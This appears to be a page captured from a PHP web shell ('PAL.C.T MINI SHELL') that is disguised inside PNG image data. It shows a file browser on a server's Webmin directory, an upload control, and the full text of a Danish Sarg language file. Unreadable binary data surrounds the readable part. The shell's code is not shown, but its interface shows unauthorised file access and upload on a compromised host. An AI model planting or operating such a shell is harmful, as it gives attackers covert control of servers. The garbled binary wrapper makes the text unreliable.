php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/da.auto

index_title=Generator for blæksprutter rapporter
index_econf=Sarg-konfigurationsfilen $1 blev ikke fundet på dit system. Måske er Sarg ikke installeret, eller <a href='$2'>modulkonfiguration</a> er forkert.
index_ecmd=Sarg-programmet $1 blev ikke fundet på dit system. Måske er det ikke installeret, eller <a href='$2'>modulkonfiguration</a> er forkert.
index_eversion=Kunne ikke hente versionen af Sarg med kommandoen $1 : $2 
index_version=Sarg version $1 
index_generate=Generer rapport nu
index_generatedesc=Klik på denne knap for straks at generere en Sarg-rapport i $1 ved hjælp af den aktuelle konfiguration.
index_clear=Slet eksisterende rapport i biblioteket?
index_range=Generer rapport for datointerval
index_view=Se genereret rapport
index_viewdesc=Se den senest genererede rapport i biblioteket $1.
index_return=modul indeks

log_title=Logkilde og rapportdestination
log_header=Kilde blæksprutte-logfil og genererede rapportindstillinger
log_access_log=Kilde blæksprutte-logfil
log_squid=Nuværende Squid-serverlog ($1)
log_other=Anden fil
log_output_dir=Destinationsrapportmappe
log_output_email=E-mail-rapport til
log_nowhere=Ingen steder
log_useragent_log=Bruger agent logfil
log_lastlog=Antal rapporter, der skal opbevares
log_unlimit=Ubegrænset
log_mail_utility=E-mail-sendekommando
log_remove_temp_files=Slet midlertidige filer efter rapportering?
log_err=Kunne ikke gemme logkildemuligheder
log_efile=Filen eksisterer ikke
log_edir=Directory findes ikke
log_elastlog=Mangler eller ikke et tal
log_eemail=Manglende eller ugyldig e-mail-adresse
log_emailx=Manglende eller ikke-eksisterende postprogram
log_squidguard_log_path=SquidGuard-logfil

style_title=Rapportstil
style_header=HTML-rapportstil og farveindstillinger
style_title2=Rapporttitel
style_font_face=Rapport til krops skrifttype
style_header_color=Header farve
style_header_bgcolor=Baggrundsfarve på sidehoved
style_header_font_size=Header skriftstørrelse
style_background_color=Baggrundsfarve
style_text_color=Tekstfarve
style_text_bgcolor=Tekst baggrundsfarve
style_title_color=Titelfarve
style_logo_image=Billedreference til logo
style_image_size=Størrelse på billede (bredde og højde)
style_logo_text=Tekst til logo
style_logo_text_color=Tekstfarve til logo
style_background_image=Billedreference til baggrund
style_err=Kunne ikke gemme indstillinger for rapportstil
style_etitle=Manglende rapporttitel
style_ecolour=Manglende eller ugyldigt farvenavn eller RRGGBB-kode
style_efontsize=Manglende eller ugyldig fontstørrelse forskydning
style_efont=Manglende eller ugyldigt fontnavn
style_esize=Manglende eller ugyldig billedbredde og højde
style_language=Rapporter sprog
style_charset=Rapporter tegnsæt

report_title=Rapportindstillinger
report_header=Rapporter indhold og genereringsindstillinger
report_resolve_ip=Vil du løse IP-adresser?
report_user_ip=Brug IP-adresser i stedet for bruger-id'er?
report_user_sort_field=Bestilling til brugerrapport
report_topuser_sort_field=Bestilling til topbrugerrapport
report_reverse=I omvendt rækkefølge
report_forward=I fremadrettet rækkefølge
report_by_user=Efter brugernavn
report_by_connect=Ved at forbinde tid
report_by_bytes=Af bytes
report_by_time=Med tiden
report_by_site=Af sted
report_exclude_users=Filliste brugere, der skal ekskluderes
report_exclude_hosts=Filliste værter at ekskludere
report_index=Genegenerer <tt>indeks.html</tt> fil?
report_only=Generer kun <tt>indeks.html</tt>
report_overwrite_report=Overskriv rapport til dato?
report_overno=Nej, omdøb med.1
report_records_without_userid=Handling til poster uden bruger?
report_ignore=Helt ignorere
report_ip=Brug i stedet IP-adresse
report_everybody=Brug brugernavn <tt>alle</tt>
report_use_comma=Brug komma i stedet for. i antal?
report_topsites_num=Antal topsider, der skal vises
report_topsites_sort_order=Bestilling af rapporten for de mest populære websteder
report_sorta=stigende
report_sortd=Aftagende
report_index_sort_order=Bestilling af links i <tt>indeks.html</tt>
report_exclude_codes=Filliste HTTP-koder, der skal udelukkes
report_max_elapsed=Maksimal forløbet tid (ms)
report_report_type=Rapporter sektioner, der skal genereres
report_topsites=Topsider
report_topusers=Topbrugere
report_sites_users=Websteder efter bruger
report_users_sites=Brugere efter websted
report_date_time=Brug efter dag og time
report_denied=Nægtede websteder
report_downloads=Downloads
report_auth_failures=Autentificeringsfejl
report_site_user_time_date=Websteder, datoer, tidspunkter og byte
report_all=Alle rapporter
report_below=Valgt nedenfor ..
report_usertab=Kort over brugernavn
report_long_url=Vis fulde webadresser i rapporten?
report_date_time_by=Sorter dato/tid rapport efter
report_bytes=bytes
report_elap=Forløbet tid
report_user_invalid_char=Ugyldige tegn i brugernavne
report_privacy=Skjul besøgte websteder?
report_privacy_string=Erstatningstekst til besøgte websteder
report_privacy_string_color=Farve til udskiftningstekst
report_below2=Indtastet nedenfor ..
report_include_users=Generer kun rapport for brugere
report_exclude_string=Ekskluder loglinjer, der indeholder
report_allusers=Alle brugere
report_nostrings=Ekskluder ikke noget
report_topuser_num=Antal øverste brugere, der skal vises
report_site_user_time_date_type=Websted, bruger, dato og tidstabelformat
report_table=HTML-tabel
report_list=Tekstliste
report_displayed_values=Vis trafik som
report_bytes2=bytes
report_abbrev=Forkortet (K, M, G)
report_weekdays=Ugedage, der skal medtages i rapporten
report_weekdays0=Su
report_weekdays1=Mo
report_weekdays2=Tu
report_weekdays3=Vi
report_weekdays4=th
report_weekdays5=fr
report_weekdays6=Sa
report_hours=Timer, der skal medtages i rapporten
report_err=Kunne ikke gemme rapportindstillinger
report_efile=Filen eksisterer ikke
report_enum=Ikke et tal
report_echar=Rum er ikke tilladt
report_estring=Manglende eller ugyldig erstatningstekst
report_eselect=Intet valgt
report_eenter=Intet indtastet

sched_title=Genereret planlagt rapport
sched_header=Planlagte rapporteringsmuligheder
sched_sched=Planlagt rapport aktiveret?
sched_yes=Ja, til tider valgt nedenfor ..
sched_clear=Rydde rapportmappe hver gang?
sched_dir=Rapporter bibliotek
sched_edir=Der er ikke defineret noget destinationsrapportmappe på siden <a href='$1'>Logkilde og rapportdestination</a>. Dette skal indstilles, før planlagt rapportering kan aktiveres.
sched_esfile=Der er ikke defineret nogen blæksprutte-logfil på siden <a href='$1'>Logkilde og rapportdestination</a>. Dette skal indstilles, før planlagt rapportering kan aktiveres.
sched_range=Generer rapport for datointerval
sched_rall=Alle poster i logfil
sched_rsel=Dem fra $1 til $2 dage siden
sched_err=Kunne ikke gemme planlagt rapportgenerering
sched_erfrom=Manglende eller ugyldigt startnummer for dage siden
sched_erto=Manglende eller ugyldigt slutnummer for dage siden

view_title=Sarg-rapport
view_efile=Ugyldigt filnavn!
view_eopen=Kunne ikke åbne rapportfil

gen_title=Generer rapport
gen_header=Genererer nu Sarg-rapport fra Squid-logfil $1 og alle roterede versioner ..
gen_done=.. Færdig
gen_failed=.. Sarg mislykkedes! Se output ovenfor for detaljer.
gen_nothing=.. Sarg er færdig, men der blev ikke genereret nogen rapport. Se output ovenfor for detaljer.
gen_view=Se afsluttet rapport.
gen_err=Rapporten blev ikke genereret
gen_efrom=Manglende eller ugyldig fra dagen
gen_eto=Manglende eller ugyldig i dag

webmin_log_log=Opdateret logkilde og rapportdestinationindstillinger
webmin_log_report=Opdaterede rapportindstillinger
webmin_log_style=Opdaterede indstillinger for rapportstil
webmin_log_sched_create=Aktiveret planlagt rapportering
webmin_log_sched_delete=Deaktiveret planlagt rapportering
webmin_log_sched_update=Opdateret planlagt rapportering
webmin_log_sched_nothing=Venstre planlagt rapportering deaktiveret
webmin_log_generate=Genereret rapport
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`